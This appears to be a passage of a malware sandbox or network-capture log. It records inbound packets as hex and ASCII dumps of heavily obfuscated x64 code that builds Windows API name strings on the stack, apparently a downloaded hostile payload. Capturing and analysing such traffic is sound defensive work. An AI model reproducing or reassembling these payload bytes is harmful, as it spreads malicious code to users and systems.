2023-05-14 02:34:42 UTC	192	IN	Data Raw: f9 e9 07 00 00 00 af e0 e6 37 21 b0 c7 72 07 b1 fa 37 36 f7 1b 3e 48 ff c4 38 f6 74 05 43 6c 61 11 e6 48 ff c4 f8 eb 02 ee 70 73 02 23 97 48 ff c4 48 ff c4 38 f6 e9 07 00 00 00 74 e1 7c eb ac 25 95 74 02 14 8a 48 ff c4 38 ed e9 05 00 00 00 9c 42 d7 74 77 74 05 88 a0 a5 76 a2 eb 06 a6 5f de a4 66 33 9e 48 8b 04 24 eb 07 d3 e0 6c e0 1f c4 27 48 8d 64 24 08 e9 03 00 00 00 57 c7 d4 eb 03 fe 48 cf 48 89 44 24 38 48 8d 64 24 f8 e9 07 00 00 00 37 ed 45 99 f9 ee f5 48 89 04 24 eb 07 ad 83 93 9d d4 cd 6f 9f eb 02 50 13 38 db 74 07 fb e3 ba 6b ac ed 8d e8 07 00 00 00 c4 d3 b9 7f e1 bd 95 48 83 c4 08 e9 06 00 00 00 4f d1 78 6b b9 db e9 02 00 00 00 19 a4 9e 48 8b 04 24 eb 06 cc cb d2 b3 ff 33 48 8d 64 24 08 e9 05 00 00 00 98 18 f6 8d 3c 48 8d 44 24 68 44 8b 4c 24 78 Data Ascii: 7!r76>H8tClaHps#HH8t\|%tH8Btwtv_f3H$l'Hd$WHHD$8Hd$7EH$oP8tkHOxkH$3Hd$<HD$hDL$x
2023-05-14 02:34:42 UTC	208	IN	Data Raw: c2 e8 02 00 00 00 79 f6 48 83 04 24 1a 38 ed eb 06 e9 bc 2d d9 5e d6 74 02 a3 64 c3 bc 4d d2 15 eb 04 16 92 8e e1 9e 58 eb 05 41 e2 35 4d f3 e8 e0 c9 fe ff 48 89 44 24 30 48 8d 44 24 21 eb 03 2e 9e 5c 9c f9 72 02 98 9c e8 04 00 00 00 c8 1a 73 93 48 83 c4 08 e9 03 00 00 00 56 c8 12 9d e9 07 00 00 00 66 f2 c5 a4 97 5f bc e9 05 00 00 00 cc 72 f8 75 98 48 8b f8 9c f9 eb 05 9c d5 5d 6e 60 72 06 d5 ab b1 41 b4 cd e8 04 00 00 00 a5 f0 20 30 48 ff c4 48 ff c4 e9 06 00 00 00 33 2a 31 5c b7 cd 48 ff c4 38 db eb 02 e7 1b 74 05 db 7b 65 cc f5 48 ff c4 f9 eb 02 fc 18 72 05 da 7d 4b fc 44 48 ff c4 e9 07 00 00 00 f7 c3 3e 80 9e f7 87 48 ff c4 eb 03 50 2d 41 48 ff c4 38 db eb 04 72 24 f6 e2 74 03 ae 77 4b 48 ff c4 f8 e9 04 00 00 00 49 91 c9 71 73 06 af 35 65 34 7e ef 9d Data Ascii: yH$8-^tdMXA5MHD$0HD$!.\rsHVf_ruH]n`rA 0HH3*1\H8t{eHr}KDH>HP-AH8r$twKHIqs5e4~
2023-05-14 02:34:42 UTC	224	IN	Data Raw: 8d 54 24 4c e9 05 00 00 00 4b 8e f2 c7 1f 50 e9 04 00 00 00 64 4a ad 4d 9f f8 73 06 ae d2 3c 98 95 e2 e8 02 00 00 00 dc c4 48 83 04 24 19 f9 eb 06 c3 7d 7a a3 96 2d 72 02 6c 1c c3 59 ff 75 15 e9 03 00 00 00 cb 67 bc e9 02 00 00 00 fb f9 9e 48 8b 04 24 eb 02 89 ae 48 8d 64 24 08 eb 05 cf 98 59 13 de 48 8d 4c 24 21 eb 04 7b 43 5d 7c 9c f9 e9 04 00 00 00 79 eb 38 fb 72 05 6c ed f5 7f 54 e8 03 00 00 00 df 1e 79 48 83 c4 08 e9 02 00 00 00 87 6e 9d eb 02 d9 cd e8 c9 cb fd ff 9c eb 06 78 7f 7b 5d 13 9b e8 07 00 00 00 ca 84 fa 49 c5 25 a3 48 83 04 24 25 f8 e9 06 00 00 00 5b d4 93 ea 69 93 73 06 c2 af 66 41 60 fa c3 bd 47 fd 1b eb 06 47 dc 92 e8 8e 32 9d eb 05 e4 d6 d8 e9 e9 e9 06 00 00 00 c0 f4 3d 2c ee 2c 48 8b c8 e8 9d ef 00 00 48 8b d0 48 8b 4c 24 30 e8 ef 83 Data Ascii: T$LKPdJMs<H$}z-rlYugH$Hd$YHL$!{C]\|y8rlTyHnx{]I%H$%[isfA`GG2=,,HHHL$0
2023-05-14 02:34:42 UTC	240	IN	Data Raw: ff c4 f9 72 06 94 e3 17 37 ef 18 48 ff c4 48 ff c4 f8 eb 03 cf 75 fd 73 04 f0 57 53 fc 48 ff c4 38 ed 74 03 d6 30 7f e9 05 00 00 00 90 cd 16 64 1e eb 06 a8 5f e6 30 c7 3b 9e 48 8b 04 24 e9 07 00 00 00 3a 90 56 8d ee b4 b1 48 8d 64 24 08 e9 06 00 00 00 36 f9 84 e9 2b c0 e8 9a 1c 01 00 48 8b c8 e8 ad 49 fe ff eb 04 d4 9a 71 c4 48 8d 64 24 f8 e9 03 00 00 00 e2 3b 66 48 89 04 24 e9 05 00 00 00 93 73 5c 81 65 9f e9 06 00 00 00 4e c2 7b e9 4e f2 38 db eb 07 fa 33 3b e0 94 b5 a6 74 03 1e 59 16 e8 04 00 00 00 a1 d1 9f 61 48 83 c4 08 9e 58 48 89 44 24 30 e9 06 00 00 00 cc d3 7c 1f c1 5b 50 e9 05 00 00 00 6e 6b d5 89 58 9f 38 c9 eb 03 f7 2a 11 74 04 e6 b7 13 ea e8 04 00 00 00 4b 55 bd 16 48 83 04 24 0f c3 80 bd 41 92 f6 eb 02 ed 1d eb 05 c8 b9 19 ae ff 9e 48 8b 04 Data Ascii: r7HHusWSH8t0d_0;H$:VHd$6+HIqHd$;fH$s\eN{N83;tYaHXHD$0\|[PnkX8*tKUH$AH
2023-05-14 02:34:42 UTC	256	IN	Data Raw: cb 2f aa 14 3f 2d d4 72 05 a9 1e 8e a5 6f eb 07 13 ae 11 26 33 ab 17 eb 03 b4 b3 a1 9e 58 eb 05 33 f7 85 1c 99 eb 04 74 be 73 7f 48 83 3c 24 0b e9 03 00 00 00 4c 45 7c 48 8d 64 24 f8 eb 05 d7 9b ac 8c 80 48 89 04 24 9f 38 ed 74 03 78 9e 8e e8 02 00 00 00 a8 8c 48 8d 64 24 08 9e 58 e9 04 00 00 00 25 19 2e bc 0f 83 5c 02 00 00 eb 05 b1 26 9c 93 ab 9c 38 f6 eb 06 ed ed 86 92 c8 eb 74 02 3a a6 e8 06 00 00 00 3e b7 2c c7 ec bf 48 83 c4 08 9d eb 05 dd 6e 79 93 40 e9 05 00 00 00 30 4c 32 af f2 48 8b 04 24 48 8b 4c 24 20 eb 06 d2 e3 2e f3 56 43 9c e9 05 00 00 00 12 73 c0 76 ec e9 05 00 00 00 24 24 67 93 ad e8 05 00 00 00 e2 cc 92 d9 4d 48 83 c4 08 eb 02 6c 5e 9d e9 03 00 00 00 52 ed 30 48 03 c8 50 9f e9 03 00 00 00 c2 30 57 e9 02 00 00 00 4c 6f e8 05 00 00 00 2d Data Ascii: /?-ro&3X3tsH<$LE\|Hd$H$8txHd$X%.\&8t:>,Hny@0L2H$HL$ .VCsv$$gMHl^R0HP0WLo-
2023-05-14 02:34:42 UTC	272	IN	Data Raw: 58 e9 04 00 00 00 8f fa e8 92 c6 44 24 0a 52 c6 44 24 0b 65 c6 44 24 0c 6c c6 44 24 0d 65 c6 44 24 0e 61 c6 44 24 0f 73 c6 44 24 10 65 c6 44 24 11 43 eb 02 2f b9 9c 38 db eb 05 6e 34 24 ea 11 74 06 5a 77 5d a5 4f eb e8 05 00 00 00 82 d2 7e 32 50 48 ff c4 eb 03 f0 bc 41 48 ff c4 e9 02 00 00 00 64 b6 48 ff c4 f9 eb 03 75 48 2b 72 02 62 2a 48 ff c4 38 ff e9 02 00 00 00 92 19 74 06 54 e8 d8 e5 eb 80 48 ff c4 f9 eb 04 fa c1 d1 3f 72 07 65 87 2c 90 bb e3 ab 48 ff c4 38 f6 eb 06 f4 c5 23 b5 82 57 74 03 41 3a a4 48 ff c4 f9 eb 04 84 60 b2 58 72 05 f4 bc 9c 4a 56 48 ff c4 eb 05 da e2 91 2c a9 9d eb 07 c8 c8 82 3f bf 48 c1 eb 05 79 c9 a0 c4 eb c6 44 24 12 6c c6 44 24 13 65 50 eb 05 81 b3 cf 69 a2 9f eb 06 12 c6 57 4e 1b 7d f9 eb 04 3a a4 af c4 72 02 dc 62 e8 03 00 Data Ascii: XD$RD$eD$lD$eD$aD$sD$eD$C/8n4$tZw]O~2PHAHdHuH+rb*H8tTH?re,H8#WtA:H`XrJVH,?HyD$lD$ePiWN}:rb
2023-05-14 02:34:42 UTC	288	IN	Data Raw: d1 ed c7 cc 36 e8 02 00 00 00 e5 9f 48 ff c4 eb 04 35 35 4c 63 48 ff c4 38 db 74 03 5b 8b 15 48 ff c4 e9 06 00 00 00 ce f6 54 65 ca 38 48 ff c4 f8 73 03 f2 b0 d4 48 ff c4 f9 72 04 b7 3b b6 6d 48 ff c4 f8 73 06 3e a1 64 94 fa b5 48 ff c4 f9 72 05 ae e1 48 a0 ed 48 ff c4 f8 73 03 b3 2f e9 e9 06 00 00 00 e9 ee 4d 59 ba 4b 9e 48 8b 04 24 48 8d 64 24 08 eb 02 7e f2 eb 03 b6 99 a2 e9 70 00 00 00 48 8b 04 24 48 ff c0 48 89 04 24 eb 04 f7 8a 25 26 50 9f e9 07 00 00 00 ec a1 de 2d a7 38 c4 38 d2 e9 04 00 00 00 16 da 42 2e 74 05 e5 ce fe 2a 25 e8 04 00 00 00 c3 a0 2e 89 48 83 04 24 20 f8 eb 06 5a 39 93 11 bf c0 73 04 63 4d f8 1c c3 50 95 9b e8 42 65 77 eb 04 ac 46 68 12 9e 48 8b 04 24 48 8d 64 24 08 e9 05 00 00 00 a1 fc 85 27 af 48 83 3c 24 11 e9 02 00 00 00 c2 71 Data Ascii: 6H55LcH8t[HTe8HsHr;mHs>dHrHHs/MYKH$Hd$~pH$HH$%&P-88B.t*%.H$ Z9scMPBewFhH$Hd$'H<$q
2023-05-14 02:34:42 UTC	304	IN	Data Raw: 48 03 c8 48 8b c1 eb 06 68 e6 b5 ca 48 1c 48 8d 64 24 f8 e9 05 00 00 00 e5 52 19 17 9c 48 89 04 24 e9 05 00 00 00 4c a8 d8 5e c4 9f e9 05 00 00 00 8d 3d 19 c9 ec 38 c0 74 05 6f 94 fc 1d b8 e8 03 00 00 00 99 45 f4 48 8d 64 24 08 eb 06 da 95 af 60 50 92 9e 58 eb 07 28 7f 7d 1a f1 e7 6b 48 8b 0c 24 e9 06 00 00 00 f3 6e 74 33 5d d7 9c 38 e4 74 02 64 98 e8 03 00 00 00 e7 c8 80 48 8d 64 24 08 eb 02 7b 95 9d eb 04 ad d1 31 42 e9 06 00 00 00 71 50 83 b4 4b 32 0f b6 4c 0c 08 88 08 e9 bf fd ff ff e9 02 00 00 00 fa ce 9c e9 06 00 00 00 d5 c4 52 2a d7 55 f9 eb 03 13 e4 e7 72 03 d7 36 67 e8 03 00 00 00 34 36 a3 48 ff c4 38 f6 74 03 ba 58 77 48 ff c4 48 ff c4 48 ff c4 f9 eb 03 46 bb d0 72 02 41 8f 48 ff c4 eb 03 43 91 9e 48 ff c4 eb 06 90 7e 34 8b d3 46 48 ff c4 f9 eb Data Ascii: HHhHHd$RH$L^=8toEHd$`PX(}kH$nt3]8tdHd${1BqPK2LR*Ur6g46H8tXwHHHFrAHCH~4FH
2023-05-14 02:34:42 UTC	320	IN	Data Raw: cf 8b 48 ff c4 f9 eb 02 c9 e1 72 02 15 fd 48 ff c4 48 ff c4 f9 eb 07 c8 4d 30 8b 39 f0 56 72 02 ec f4 48 ff c4 f8 eb 06 7e 94 1c d3 9a 3b 73 07 3b f4 84 6f 8f 51 41 e9 06 00 00 00 ad 98 8b 5f 53 61 9d e9 04 00 00 00 a4 bb ff 3c e9 07 00 00 00 e2 42 4a fd f7 54 a9 c6 44 24 08 4e c6 44 24 09 74 c6 44 24 0a 43 50 9f e9 04 00 00 00 ad dd ad 20 38 e4 e9 06 00 00 00 c9 dd 3e a6 97 55 74 05 16 79 fc 8a b7 e8 06 00 00 00 41 31 cd cd 33 31 48 ff c4 f8 73 02 b4 7a 48 ff c4 eb 04 6e 39 59 f3 48 ff c4 f8 eb 06 c1 6c ae 65 58 a2 73 03 c5 a0 ac 48 ff c4 e9 05 00 00 00 62 ee 31 d5 e3 48 ff c4 48 ff c4 f8 73 03 27 6f 68 48 ff c4 f9 eb 07 d4 dc 85 1e 44 96 6c 72 05 8a 36 73 c2 87 48 ff c4 f8 eb 04 32 bb 89 90 73 07 16 26 4e 94 78 19 70 eb 06 ea d9 a8 bd 83 d1 eb 07 50 30 Data Ascii: HrHHM09VrH~;s;oQA_Sa<BJTD$ND$tD$CP 8>UtyA131HszHn9YHleXsHb1HHs'ohHDlr6sH2s&NxpP0
2023-05-14 02:34:42 UTC	336	IN	Data Raw: fc 13 e8 03 00 00 00 4a cc e8 48 83 04 24 0f c3 d1 eb ee 1b cd 72 e9 02 00 00 00 af 36 eb 05 f6 f9 b7 a6 2b 9e 48 8b 04 24 e9 02 00 00 00 3a 25 48 8d 64 24 08 e9 04 00 00 00 84 28 28 73 e9 04 00 00 00 77 95 ad de 48 8b 44 24 30 e9 04 00 00 00 e1 85 7e cc 9c e9 04 00 00 00 aa 8b 56 e0 eb 03 e2 46 8f e8 02 00 00 00 24 90 48 83 c4 08 eb 07 7c 6e 17 a3 2f 77 fa 9d eb 05 df 25 a7 d8 c5 eb 05 6c 5d cf b9 3e e9 05 00 00 00 e9 00 00 00 00 48 83 c4 28 c3 48 89 4c 24 08 48 83 ec 28 e9 4d 00 00 00 50 e9 04 00 00 00 34 9d 28 b9 9f eb 07 f6 25 59 45 2c 9e 7e e9 05 00 00 00 8b 6c 26 91 1c e8 07 00 00 00 c5 5b 4a 52 99 78 ac 48 83 04 24 1e f9 eb 03 f6 8f 8c 72 05 a3 37 e9 55 27 c3 41 64 a6 77 eb 04 c9 2a 9a 36 9e 58 eb 02 45 a4 c6 44 24 08 4e c6 44 24 09 74 c6 44 24 0a Data Ascii: JH$r6+H$:%Hd$((swHD$0~VF$H\|n/w%l]>H(HL$H(MP4(%YE,~l&[JRxH$r7U'Adw*6XED$ND$tD$
2023-05-14 02:34:42 UTC	352	IN	Data Raw: e9 07 00 00 00 3a a2 46 9c 43 99 45 48 8d 64 24 08 e9 07 00 00 00 fc b2 94 b7 d4 13 5e eb 07 5d 55 79 b3 9b 9e b5 c6 44 24 19 4d eb 07 51 36 9f 18 d2 74 84 9c e9 03 00 00 00 16 82 c0 e9 07 00 00 00 87 d9 22 42 7f 79 32 e8 04 00 00 00 1d f8 9a 9a 48 83 c4 08 9d e9 04 00 00 00 fa 3f 85 77 e9 06 00 00 00 6c c5 f1 c3 50 f6 c6 44 24 1a 65 eb 05 d4 a6 fa e6 3f 50 9f e9 04 00 00 00 e2 f0 b1 ff f9 e9 05 00 00 00 a9 d3 4c 1f ad 72 03 45 23 b9 e8 06 00 00 00 58 d2 47 78 65 5f 48 83 c4 08 e9 03 00 00 00 d9 f3 d7 e9 04 00 00 00 57 58 ca 27 9e 48 8b 04 24 eb 02 84 a1 48 8d 64 24 08 e9 02 00 00 00 77 81 eb 04 e0 ca 90 7d c6 44 24 1b 6d c6 44 24 1c 6f c6 44 24 1d 72 9c f9 eb 04 2c 8c 38 f6 72 03 ed 34 d6 e8 07 00 00 00 d9 f5 39 25 3a d6 cc 48 8d 64 24 08 9d e9 02 00 00 Data Ascii: :FCEHd$^]UyD$MQ6t"By2H?wlPD$e?PLrE#XGxe_HWX'H$Hd$w}D$mD$oD$r,8r49%:Hd$
2023-05-14 02:34:42 UTC	368	IN	Data Raw: 3e 1a bb de d7 9f 72 06 3d 7d 9a be a9 7b 48 ff c4 f8 eb 03 f1 ca 4b 73 03 d4 cd d6 48 ff c4 f8 73 05 91 30 92 af c5 48 ff c4 38 f6 eb 07 8a 35 cf d3 25 8a 39 74 02 45 26 48 ff c4 f9 72 06 7b ba 20 93 c3 fb 48 ff c4 f8 73 02 3f 76 48 ff c4 38 e4 eb 06 92 3c a3 41 a7 db 74 07 25 ed 3d 22 36 e7 68 48 ff c4 f8 eb 05 7d 2d de db 9f 73 06 72 e7 f2 84 b4 88 eb 04 5a d1 77 14 9d e9 07 00 00 00 45 c6 32 11 f4 f1 ac 48 c7 04 24 00 00 00 00 48 8d 64 24 f8 48 89 04 24 eb 04 31 1b 85 19 9f f9 72 07 f5 b1 50 19 6d 95 95 e8 06 00 00 00 31 28 60 4b ba 8b 48 8d 64 24 08 eb 04 73 36 86 c5 eb 05 db 99 76 c9 4f 9e 58 eb 02 fd 36 eb 07 e3 f0 1f 9d 3b f4 bc e9 88 00 00 00 48 8b 04 24 48 ff c0 e9 02 00 00 00 15 89 9c 38 c0 74 07 d0 39 c1 cd fe e2 e1 e8 05 00 00 00 21 64 32 81 Data Ascii: >r=}{HKsHs0H85%9tE&Hr{ Hs?vH8<At%="6hH}-srZwE2H$Hd$H$1rPm1(`KHd$s6vOX6;H$H8t9!d2
2023-05-14 02:34:42 UTC	384	IN	Data Raw: eb 05 3a c7 8b b4 73 f8 e9 04 00 00 00 68 88 af 8b 73 05 ca f8 68 46 c1 e8 06 00 00 00 b4 4f f4 f3 74 70 48 83 04 24 17 eb 02 29 ac c3 61 2e b8 82 68 c0 d4 9e 58 eb 06 25 58 87 26 fc 8d c6 44 24 1d 00 48 8d 64 24 f8 e9 03 00 00 00 11 b1 ab 48 89 04 24 9f e8 06 00 00 00 df c4 aa ca d1 b5 48 ff c4 f8 e9 06 00 00 00 95 55 84 ae 2c af 73 02 72 c9 48 ff c4 e9 02 00 00 00 28 f8 48 ff c4 38 ed eb 06 fb e9 1b 99 40 32 74 03 37 ac 30 48 ff c4 38 ed eb 05 64 ea 27 c0 1f 74 03 78 29 3f 48 ff c4 38 c0 e9 05 00 00 00 ad 48 ff 5d 2c 74 06 34 f8 40 74 ad f4 48 ff c4 f8 73 02 af 53 48 ff c4 f9 eb 03 a7 1e 26 72 03 24 f2 69 48 ff c4 f8 eb 04 a9 4f c4 5f 73 07 79 81 ac ce bb 9f f1 9e 48 8b 04 24 e9 03 00 00 00 f0 de b2 48 8d 64 24 08 e9 03 00 00 00 26 fc de eb 03 b4 41 99 Data Ascii: :shshFOtpH$)a.hX%X&D$Hd$H$HU,srH(H8@2t70H8d'tx)?H8H],t4@tHsSH&r$iHO_syH$Hd$&A
2023-05-14 02:34:42 UTC	400	IN	Data Raw: 72 04 2a af 4f c9 48 ff c4 f9 72 04 71 c0 f8 cc e9 07 00 00 00 64 c7 1c a2 8d 41 ce eb 03 5b 30 d8 9e 58 eb 03 fb 64 15 e9 4e 01 00 00 e9 04 00 00 00 82 8c c6 1e 9c 38 ed e9 07 00 00 00 23 3d f8 4c 49 f5 ae 74 06 db d6 d1 28 93 54 e8 02 00 00 00 d3 22 48 ff c4 f8 73 04 9c 7b 91 a3 48 ff c4 38 f6 e9 06 00 00 00 8d ff cb 2a c9 eb 74 02 7f 1b 48 ff c4 f8 eb 07 64 9b cc 82 dd 5f df 73 04 f0 b0 8f ec 48 ff c4 38 f6 e9 04 00 00 00 ac 3b 1a ab 74 06 46 2d 6c cd e6 9f 48 ff c4 f9 eb 04 9a 95 81 74 72 03 4f 58 f1 48 ff c4 f8 73 03 30 5b ea 48 ff c4 e9 07 00 00 00 bd 96 41 b0 15 a6 5c 48 ff c4 38 c0 74 06 4a 7a 7d f2 69 ec e9 02 00 00 00 c0 70 9d eb 07 6e d4 ca 38 98 d9 a9 48 8b 44 24 08 48 ff c0 eb 04 c1 3d 9a d8 48 8d 64 24 f8 eb 04 aa 5a 83 83 48 89 04 24 9f f9 Data Ascii: rOHrqdA[0XdN8#=LIt(T"Hs{H8tHd_sH8;tF-lHtrOXHs0[HA\H8tJz}ipn8HD$H=Hd$ZH$
2023-05-14 02:34:42 UTC	416	IN	Data Raw: 66 bd 45 8a af 56 74 06 63 eb 5e eb 3d e8 c3 43 29 44 b5 5c 26 61 9e 58 48 8b 44 24 48 e9 d0 00 00 00 e9 02 00 00 00 69 b1 48 8d 64 24 f8 e9 03 00 00 00 5c fb 37 48 89 04 24 eb 03 de fb 96 9f e9 02 00 00 00 59 3e e8 05 00 00 00 54 34 96 74 fb 48 ff c4 38 ff 74 04 3a bc 5a d2 48 ff c4 38 c9 e9 02 00 00 00 4f 55 74 05 12 96 15 85 b9 48 ff c4 f9 e9 03 00 00 00 34 81 b0 72 05 2b c3 a5 91 3f 48 ff c4 eb 04 71 43 eb e2 48 ff c4 f8 73 04 e3 e8 9f 76 48 ff c4 48 ff c4 38 ed e9 03 00 00 00 9b cc 7a 74 02 5f 44 48 ff c4 f9 e9 03 00 00 00 78 e0 8b 72 05 68 23 9b 20 24 e9 07 00 00 00 3f 3d a3 76 d2 88 9c 9e 48 8b 04 24 eb 07 4a 6f 34 c8 b6 32 32 48 8d 64 24 08 eb 07 47 1e 59 af 12 4e d5 eb 07 2c 4e bc ec 1f 1b a1 e9 00 00 00 00 48 83 c4 38 c3 88 54 24 10 48 89 4c 24 Data Ascii: fEVtc^=C)D\&aXHD$HiHd$\7H$Y>T4tH8t:ZH8OUtH4r+?HqCHsvHH8zt_DHxrh# $?=vH$Jo422Hd$GYN,NH8T$HL$
2023-05-14 02:34:42 UTC	432	IN	Data Raw: b5 15 38 9d eb 05 2d 55 78 d4 52 2d 00 00 00 e0 89 44 24 24 83 7c 24 24 01 eb 04 2a 9c 77 fc 9c e9 02 00 00 00 62 17 e8 02 00 00 00 17 7e 48 83 c4 08 9d e9 05 00 00 00 81 b9 c8 54 cb 0f 84 70 02 00 00 48 8d 64 24 f8 eb 05 8b bb 53 1d 50 48 89 04 24 e9 07 00 00 00 22 aa f5 57 37 ee 6d 9f e9 04 00 00 00 25 97 50 4b f8 73 02 8a 53 e8 02 00 00 00 35 a5 48 ff c4 f9 e9 07 00 00 00 cf a7 ef 45 3a e1 1a 72 07 b3 26 f9 4b cf 9c ae 48 ff c4 eb 02 7e 12 48 ff c4 f9 e9 07 00 00 00 5f fd 46 bc 54 30 a3 72 03 a6 39 54 48 ff c4 38 f6 eb 06 f0 fb 59 5d 22 70 74 04 4a 96 c9 3e 48 ff c4 f8 e9 05 00 00 00 ae f5 9e 1b ff 73 04 d2 c1 7c b3 48 ff c4 f8 73 04 44 6d 12 55 48 ff c4 e9 06 00 00 00 16 2d b7 76 bf df 48 ff c4 38 c0 74 04 68 52 60 bc eb 07 f6 5f f2 7a 32 9b 21 9e 58 Data Ascii: 8-UxR-D$$\|$$*wb~HTpHd$SPH$"W7m%PKsS5HE:r&KH~H_FT0r9TH8Y]"ptJ>Hs\|HsDmUH-vH8thR`_z2!X
2023-05-14 02:34:42 UTC	448	IN	Data Raw: c4 38 e4 eb 07 2c 83 6c af cb fc 40 74 02 24 b0 48 ff c4 38 c0 e9 06 00 00 00 c3 a3 6b c3 1c 35 74 06 56 55 31 1b e5 63 48 ff c4 e9 02 00 00 00 51 6c 48 ff c4 f8 73 07 c1 59 7d 33 3e bf b6 48 ff c4 f9 eb 05 20 9d 93 26 df 72 02 d3 68 48 ff c4 f8 eb 06 ae c7 7d 26 a7 1d 73 06 6b 4c 92 12 be d0 48 ff c4 f9 e9 05 00 00 00 23 cc c2 5c dc 72 05 ce 7a a2 77 7e 48 ff c4 f9 e9 04 00 00 00 46 81 6d fd 72 03 77 6b a3 eb 06 90 39 40 79 bb b0 9e 58 e9 02 00 00 00 47 b5 0f 85 05 00 00 00 e9 3b 0e 00 00 8b 44 24 44 48 6b c0 18 e9 02 00 00 00 53 4f 48 8d 64 24 f8 48 89 04 24 e9 05 00 00 00 48 f0 12 86 c4 9f e9 07 00 00 00 31 17 7f e2 2d e3 38 e8 07 00 00 00 92 46 7d 52 8f 60 e2 48 83 04 24 14 c3 d4 ad 5e 9d 2f 55 af eb 06 d5 97 72 34 c3 de 9e 48 8b 04 24 48 8d 64 24 08 Data Ascii: 8,l@t$H8k5tVU1cHQlHsY}3>H &rhH}&skLH#\rzw~HFmrwk9@yXG;D$DHkSOHd$H$H1-8F}R`H$^/Ur4H$Hd$
2023-05-14 02:34:42 UTC	464	IN	Data Raw: 8d 54 24 38 48 8b 4c 24 30 e8 93 c6 fb ff 48 8d 64 24 f8 eb 04 1e 7b a8 bd 48 89 04 24 e9 03 00 00 00 c1 12 4a 9f f8 eb 04 9c 6a cc de 73 04 fe e2 23 a1 e8 02 00 00 00 1d a7 48 ff c4 38 d2 eb 07 a5 6e 57 37 6b c8 ba 74 05 6d 23 fc da a3 48 ff c4 e9 05 00 00 00 d5 dc ca b0 73 48 ff c4 e9 04 00 00 00 43 2d a9 a0 48 ff c4 48 ff c4 f9 eb 07 c5 fa b9 be d2 4c a5 72 02 5b f8 48 ff c4 f9 72 05 44 ef e8 73 53 48 ff c4 38 db e9 06 00 00 00 3e f8 1c 7b 57 a9 74 06 30 d7 15 92 78 19 48 ff c4 eb 02 c8 68 e9 04 00 00 00 37 ec 4a 16 9e 58 eb 07 b0 b4 3f 86 fa 18 bd eb 06 32 ef 64 44 eb 2e 48 83 f8 30 9c f9 72 06 82 fb be aa cd fa e8 02 00 00 00 a5 3f 48 83 04 24 21 f9 eb 07 7c ee 95 2b 7f 85 f6 72 06 fb c7 ac aa a9 e3 c3 63 1e e2 30 7e ca d7 eb 03 85 89 f5 9d 0f 84 54 Data Ascii: T$8HL$0Hd${H$Jjs#H8nW7ktm#HsHC-HHLr[HrDsSH8>{Wt0xHh7JX?2dD.H0r?H$!\|+rc0~T
2023-05-14 02:34:42 UTC	480	IN	Data Raw: 48 ff c4 38 d2 eb 07 ed 7e d8 f8 77 9b 64 74 06 69 d9 c7 b2 2d d0 48 ff c4 f9 eb 02 e2 f8 72 03 f2 b9 9e 48 ff c4 38 d2 74 03 13 c1 7e 48 ff c4 eb 07 c7 b4 71 e6 af a7 5c e9 07 00 00 00 d6 21 c4 7e 45 2c 40 9e 48 8b 04 24 eb 06 d5 b4 11 96 68 3e 48 8d 64 24 08 e9 04 00 00 00 c6 dd cd 49 eb 02 c2 ea 48 8b c1 c6 00 00 e9 02 00 00 00 b0 7e 9c 38 ed 74 04 fb a3 db 6a e8 05 00 00 00 de 65 1f 3f 55 48 83 c4 08 9d eb 07 b8 e8 20 af 8f f2 13 eb 02 fd ab e9 0e fd ff ff eb 02 57 b8 48 8d 64 24 f8 e9 06 00 00 00 a3 47 f7 85 ff 30 48 89 04 24 9f eb 04 c9 a9 61 30 e8 03 00 00 00 44 c7 a9 48 ff c4 f9 e9 05 00 00 00 25 b5 e3 88 2e 72 06 da fe 20 e5 f1 7b 48 ff c4 f8 73 02 e1 4a 48 ff c4 38 f6 eb 03 1c 2f b2 74 02 97 b5 48 ff c4 f8 eb 02 84 ec 73 07 f8 8c 72 51 6f 14 ea Data Ascii: H8~wdti-HrH8t~Hq\!~E,@H$h>Hd$IH~8tje?UH WHd$G0H$a0DH%.r {HsJH8/tHsrQo
2023-05-14 02:34:42 UTC	496	IN	Data Raw: f9 9a 59 74 06 9b 1a 2f 28 b4 dc e8 05 00 00 00 30 2b 9c a3 98 48 8d 64 24 08 9e 48 8b 04 24 48 8d 64 24 08 eb 04 dd f3 54 9b 48 89 44 24 38 e9 00 00 00 00 c6 44 24 30 01 48 8b 44 24 38 83 78 0c 00 0f 84 da 02 00 00 48 8b 44 24 38 8b 00 48 8b 8c 24 c8 00 00 00 48 03 c8 48 8b c1 48 89 84 24 88 00 00 00 48 8b 44 24 38 8b 40 10 48 8b 8c 24 c8 00 00 00 48 03 c8 48 8b c1 48 89 44 24 58 48 8b 44 24 38 8b 40 0c 48 8b 8c 24 c8 00 00 00 48 03 c8 48 8b c1 48 89 44 24 50 48 8b 4c 24 50 e8 b3 fc fb ff 48 89 44 24 68 48 83 7c 24 68 00 0f 85 4f 00 00 00 c6 44 24 30 00 48 8d 44 24 31 48 8b f8 33 c0 b9 01 00 00 00 f3 aa 48 8d 54 24 78 48 8d 4c 24 31 e8 55 02 00 00 48 8b c8 e8 d8 88 00 00 4c 8b 4c 24 50 4c 8b c0 48 8b 94 24 d8 00 00 00 48 8b 8c 24 d0 00 00 00 e8 8d 17 fc Data Ascii: Yt/(0+Hd$H$Hd$THD$8D$0HD$8xHD$8H$HHH$HD$8@H$HHHD$XHD$8@H$HHHD$PHL$PHD$hH\|$hOD$0HD$1H3HT$xHL$1UHLL$PLH$H$
2023-05-14 02:34:42 UTC	512	IN	Data Raw: 07 c8 40 49 11 3a a2 dc 9f e9 06 00 00 00 eb 46 e9 2e d1 25 eb 02 5a d7 e8 03 00 00 00 80 c4 d6 48 83 c4 08 e9 02 00 00 00 24 f2 eb 02 b6 94 9e 58 e9 06 00 00 00 2d 26 2d 6e 53 1c 48 8b f8 e9 02 00 00 00 2f 17 50 eb 05 e4 68 55 f0 56 9f eb 04 60 81 15 4c f8 73 02 8d ca e8 06 00 00 00 74 28 94 14 e9 d8 48 8d 64 24 08 eb 02 49 8f e9 02 00 00 00 53 d3 9e 48 8b 04 24 e9 03 00 00 00 d8 e1 16 48 8d 64 24 08 eb 04 23 29 63 f1 33 c0 b9 01 00 00 00 f3 aa 48 8d 54 24 48 48 8d 4c 24 20 50 e9 04 00 00 00 b4 e0 31 d4 9f eb 06 d7 83 17 d9 5c 44 f9 e9 04 00 00 00 15 43 b5 2b 72 04 66 6b de db e8 04 00 00 00 ee 22 34 a5 48 8d 64 24 08 e9 02 00 00 00 d9 fe e9 07 00 00 00 11 92 90 b3 36 47 72 9e 48 8b 04 24 48 8d 64 24 08 eb 02 3b 7d e8 4b 10 fa ff e9 06 00 00 00 82 fc fa Data Ascii: @I:F.%ZH$X-&-nSH/PhUV`Lst(Hd$ISH$Hd$#)c3HT$HHL$ 